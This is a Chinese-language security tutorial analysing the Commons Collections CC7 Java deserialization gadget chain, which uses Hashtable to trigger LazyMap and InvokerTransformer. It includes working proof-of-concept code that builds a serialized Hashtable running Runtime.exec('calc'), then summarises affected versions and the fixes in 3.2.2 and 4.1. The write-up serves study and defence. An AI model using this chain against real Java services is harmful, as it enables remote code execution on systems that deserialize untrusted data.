CC7 依旧是寻找 LazyMap 的触发点
- CC6使用了 HashSet
- 而CC6使用了 Hashtable

JAVA环境
java version "1.8.0_74"
Java(TM) SE Runtime Environment (build 1.8.0_74-b02)
Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)
依赖版本
- Apache Commons Collections 依赖版本:commons-collections : 3.1 - 3.2.1
检查依赖配置
确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
资源下载
- maven
- Java8下载
- commons-collections源码
前置知识
Hashtable - kick-off
Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,但仍然存在一些区别:
HashMap继承AbstractMap,而Hashtable继承Dictionary,可以说是一个过时的类- 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现
Hashtable的key-value不允许为 null 值,但是 HashMap 则是允许的- HashMap会将
key=null的实体放在index=0的位置
- HashMap会将
Hashtable线程安全,HashMap线程不安全
那既然两者如此相似,Hashtable 的内部逻辑能否触发反序列化漏洞呢?
答案是肯定的
readObject
Hashtable 的 readObject 方法中,最后调用了 reconstitutionPut 方法将反序列化得到的 key-value 放在内部实现的 Entry 数组 table 里
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
...
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
reconstitutionPut
reconstitutionPut 调用了 key 的 hashCode 方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
...
}
这个调用逻辑是与 HashMap 差不多的
攻击构造
攻击调用代码与 CC6 HashMap 几乎一模一样,不了解的读者可以看看之前发的文章:
JAVA反序列化深入学习(八):CommonsCollections6-CSDN博客
区别仅仅在于换成了 Hashtable 来触发
恶意代码主体
public void CC7WithHashtable() throws Exception {
// 初始化 HashMap
Hashtable<Object, Object> hashtable = new Hashtable<>();
Transformer[] transformers = GenTransformerArray();
// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});
// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "neolock");
hashtable.put(entry, "neolock");
//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();
writeObjectToFile(hashtable, fileName);
readFileObject(fileName);
}
Transformer数组生成
protected Transformer[] GenTransformerArray() throws IOException, NoSuchFieldException, IllegalAccessException {
// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
return transformers;
}

总结
以上就是 CC7 链分析的全部内容了,最后总结一下
利用说明
用 Hashtable 代替 HashMap 触发 LazyMap 方式,与 CC6 HashMap 几乎一致
Gadget 总结
- kick-off gadget:
java.util.Hashtable#readObject - sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform - chain gadget:
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
调用链展示
Hashtable.readObject()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
CC链总结

利用条件
- CC1、CC3、CC5、CC6、CC7是
Commons Collections<= 3.2.1 中存在的反序列化链 - CC2、CC4是
Commons Collections4 4.0中存在的反序列化链 - 同时还对JDK的版本有要求,测试版本为1.7和1.8
修复方式
官方是怎么修复漏洞的?
Apache Commons Collections官方在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2
3.2.2
- 新版代码中增加了⼀个方法
FunctorUtils#checkUnsafeSerialization,用于检测反序列化是否安全 - 如果开发者没有设置全局配置
org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常 - 这个检查在常见的危险Transformer类(
InstantiateTransformer、InvokerTransformer、PrototypeFactory、CloneTransformer等)的 readObject 里进行调用,所以当我们反序列化包含这些对象时就会抛出⼀个异常
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources
4.1
4.1版本的修复方式又不一样
4.1中,这几个危险Transformer类不再实现 Serializable 接口
也就是说,他们几个彻底无法序列化和反序列化了
- Java 反序列化漏洞(二) - Commons Collections | 素十八
- Java反序列化漏洞(九)- CommonsCollections7链



















